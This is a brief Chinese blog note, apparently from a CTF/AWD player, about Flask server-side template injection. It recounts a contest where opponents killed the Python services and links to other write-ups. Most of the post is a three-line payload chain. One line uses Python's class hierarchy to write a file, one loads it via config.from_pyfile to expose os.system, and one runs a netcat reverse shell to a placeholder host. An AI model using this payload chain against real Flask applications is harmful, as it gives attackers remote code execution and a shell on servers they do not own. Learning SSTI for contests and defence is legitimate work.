python | flask SSTI学习

Author Avatar
Aryb1n 1月 05, 2018

上次AWD有一道模板注入…
我们利用的不好
而且等我们反应过来全场的…题目都挂了
检查了一下被写了killall python….真恐怖
由于前面有个nginx…挂了python很多人还没反应过来怎么了, 然后就没人修
然后我们没弹shell(不会弹), 就没法得分了

开始看到freebuf的文章,,,
http://www.freebuf.com/articles/web/98619.html
http://www.freebuf.com/articles/web/98928.html

后来发现dalao写的更清楚..
原理和探索过程看dalao的blog
http://klaus.link/2017/Flask_SSTI/

我就记录一下poc

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL